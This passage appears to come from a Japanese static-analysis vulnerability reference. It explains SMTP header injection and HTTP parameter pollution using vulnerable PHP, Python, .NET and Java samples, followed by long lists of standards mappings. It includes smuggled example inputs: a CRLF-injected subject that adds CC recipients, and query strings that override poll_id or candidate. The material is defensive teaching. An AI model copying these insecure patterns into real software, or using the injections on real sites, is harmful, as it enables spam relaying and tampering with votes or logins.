2.メール サーバーに送信される SMTP ヘッダーにデータが検証せずに追加された場合。

多くのソフトウェア セキュリティの脆弱性と同様、SMTP Header Manipulation (SMTP ヘッダー操作) は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意のあるデータを渡し、アプリケーションがそのデータを SMTP ヘッダーに追加します。

SMTP Header Manipulation 攻撃の最もよくある利用法の 1 つは、スパム電子メールの配布です。アプリケーションに脆弱な [Contact us] (お問い合わせ) フォームが含まれていて、メールの件名と本文を設定できる場合、攻撃者は任意の内容を設定し、メール アドレスのリストを使用して CC ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。

例: 次のコードセグメントは [Contact us] (お問い合わせ) フォームの件名と本文を読み取ります。


$subject = $_GET['subject'];
$body = $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);


「Page not working」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、SMTP ヘッダーは次のような形式になります。


...
subject: [Contact us query] Page not working
...


ただし、ヘッダーの値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、subject として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が "Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." といった悪意のある文字列を送信すると、SMTP ヘッダーは次の形式になります。


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


これにより、攻撃者はスパム メッセージを作ったり、匿名電子メールを送信したりするなどの攻撃を行うことができます。
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.php.header_manipulation_smtp
Abstract
未検証のデータを SMTP ヘッダーに追加すると、攻撃者は CCBCC など任意のヘッダーを追加して電子メールの内容を盗み見たり、メール サーバーをスパム ボットとして使用したりできます。
Explanation
SMTP Header Manipulation (SMTP ヘッダー操作) の脆弱性が発生するのは次の場合です。

1.信頼されていないソース (多くは Web アプリケーションの HTTP リクエスト) からデータがアプリケーションに入り込んだ場合。

2.メール サーバーに送信される SMTP ヘッダーにデータが検証せずに追加された場合。

多くのソフトウェア セキュリティの脆弱性と同様、SMTP Header Manipulation (SMTP ヘッダー操作) は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意のあるデータを渡し、アプリケーションがそのデータを SMTP ヘッダーに追加します。

SMTP Header Manipulation 攻撃の最もよくある利用法の 1 つは、スパム電子メールの配布です。アプリケーションに脆弱な [Contact us] (お問い合わせ) フォームが含まれていて、メールの件名と本文を設定できる場合、攻撃者は任意の内容を設定し、メール アドレスのリストを使用して CC ヘッダーを挿入し、匿名で (電子メールは攻撃を受けたサーバーから送信されるため) スパムを送信できます。

例: 次のコードセグメントは [Contact us] (お問い合わせ) フォームの件名と本文を読み取ります。


body = request.GET['body']
subject = request.GET['subject']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
headers = "\r\n".join(["from: webform@acme.com",
"subject: [Contact us query] " + subject,
"to: support@acme.com",
"mime-version: 1.0",
"content-type: text/html"])
content = headers + "\r\n\r\n" + body
session.sendmail("webform@acme.com", "support@acme.com", content)


「Page not working」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、SMTP ヘッダーは次のような形式になります。


...
subject: [Contact us query] Page not working
...


ただし、ヘッダーの値は未検証のユーザー入力から形成されているので、レスポンスがこの形式を維持するのは、subject として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が "Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ..." といった悪意のある文字列を送信すると、SMTP ヘッダーは次の形式になります。


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


これにより、攻撃者はスパム メッセージを作ったり、匿名電子メールを送信したりするなどの攻撃を行うことができます。
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.python.header_manipulation_smtp
Abstract
未検証の入力を URL に連結すると、攻撃者にリクエストパラメーターの値の上書きを許します。攻撃者が、既存のパラメーターの値を上書きしたり、新しいパラメーターを挿入したり、直接到達できない変数を不当に使用することを可能にする恐れがあります。
Explanation
HPP (HTTP Parameter Pollution) 攻撃は、エンコードしたクエリ文字列区切り記号を既存のパラメーターに挿入することで構成されます。Web アプリケーションがユーザー入力の不要部分を適切に削除しない場合、悪意のあるユーザーがアプリケーションのロジックを悪用して、クライアント側またはサーバー側の攻撃を行う可能性があります。Web アプリケーションに追加のパラメーターを発行し、これらのパラメーターが既存のパラメーターと同じ名前を持っている場合、Web アプリケーションは以下のいずれかで反応します。

最初のパラメーターのデータのみ取得する
最後のパラメーターのデータのみ取得する
すべてのパラメーターからデータを取得し、それらを連結する


例:
- ASP.NET/IIS は、出現するすべてのパラメーターを使用します
- Apache Tomcat は、最初に出現したもののみを使用し、それ以外は無視します
- mod_perl/Apache は、値を値の配列に変換します

例 1: アプリケーション サーバーとアプリケーション自体のロジックに応じて、以下のリクエストが認証システムを混乱させ、攻撃者に他のユーザーの偽装を許す可能性があります。
http://www.server.com/login.aspx?name=alice&name=hacker

例 2: 次のコードは HTTP リクエストからの入力を使用して 2 つのハイパーリンクをレンダリングしています。

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
リンク 1: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">英語<a>
リンク 2: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">スペイン語<a>

プログラマは攻撃者が en&poll_id=1 のような lang を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id を変更できます。
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
未検証の入力を URL に連結すると、攻撃者にリクエストパラメーターの値の上書きを許します。攻撃者が、既存のパラメーターの値を上書きしたり、新しいパラメーターを挿入したり、直接到達できない変数を不当に使用することを可能にする恐れがあります。
Explanation
HPP (HTTP Parameter Pollution) 攻撃は、エンコードしたクエリ文字列区切り記号を既存のパラメーターに挿入することで構成されます。Web アプリケーションがユーザー入力の不要部分を適切に削除しない場合、悪意のあるユーザーがアプリケーションのロジックを悪用して、クライアント側またはサーバー側の攻撃を行う可能性があります。Web アプリケーションに追加のパラメーターを発行し、これらのパラメーターが既存のパラメーターと同じ名前を持っている場合、Web アプリケーションは以下のいずれかで反応します。

最初のパラメーターのデータのみ取得する
最後のパラメーターのデータのみ取得する
すべてのパラメーターからデータを取得し、それらを連結する


例:
- ASP.NET/IIS は、出現するすべてのパラメーターを使用します
- Apache Tomcat は、最初に出現したもののみを使用し、それ以外は無視します
- mod_perl/Apache は、値を値の配列に変換します

例 1: アプリケーションサーバーとアプリケーション自体のロジックに応じて、以下のリクエストが認証システムを混乱させ、攻撃者に他のユーザーの偽装を許す可能性があります。
http://www.example.com/login.php?name=alice&name=hacker

例 2: 次のコードは HTTP リクエストからの入力を使用して 2 つのハイパーリンクをレンダリングしています。

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
リンク 1: <a href="001">English<a>
リンク 2: <a href="002">Spanish<a>

プログラマは攻撃者が en&poll_id=1 のような lang を指定できる可能性を考慮しておらず、攻撃者が思いのままに poll_id を変更できます。
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
未検証の入力を URL に連結すると、攻撃者にリクエストパラメーターの値の上書きを許します。攻撃者が、既存のパラメーターの値を上書きしたり、新しいパラメーターを挿入したり、直接到達できない変数を不当に使用することを可能にする恐れがあります。
Explanation
HPP (HTTP Parameter Pollution) 攻撃は、エンコードしたクエリ文字列区切り記号を既存のパラメーターに挿入することで構成されます。Web アプリケーションがユーザー入力の不要部分を適切に削除しない場合、悪意のあるユーザーがアプリケーションのロジックを悪用して、クライアント側またはサーバー側の攻撃を行う可能性があります。Web アプリケーションに追加のパラメーターを発行し、これらのパラメーターが既存のパラメーターと同じ名前を持っている場合、Web アプリケーションは以下のいずれかで反応します。

最初のパラメーターのデータのみ取得する
最後のパラメーターのデータのみ取得する
すべてのパラメーターからデータを取得し、それらを連結する


例:
- ASP.NET/IIS は、出現するすべてのパラメーターを使用します
- Apache Tomcat は、最初に出現したもののみを使用し、それ以外は無視します
- mod_perl/Apache は、値を値の配列に変換します

例 1: アプリケーションサーバーとアプリケーション自体のロジックに応じて、以下のリクエストが認証システムを混乱させ、攻撃者に他のユーザーの偽装を許す可能性があります。
http://www.server.com/login.php?name=alice&name=hacker

例 2: 次のコードは HTTP リクエストからの入力を使用して 2 つのハイパーリンクをレンダリングしています。


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
リンク 1: <a href="vote.php?poll_id=4567&candidate=white">Mr. White に投票<a>
リンク 2: <a href="vote.php?poll_id=4567&candidate=green">Mrs. Green に投票<a>

プログラマは、攻撃者が「4567&candidate=green」のような poll_id を指定し、結果としてのページに以下の挿入リンクを含めるようにする可能性を考慮していなかったため、最初のパラメーターを採用するように細工されたアプリケーション サーバーでは、常に Mrs. Green が票を獲得することになりました。
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Mr. White に投票<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Mrs. Green に投票<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 235
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
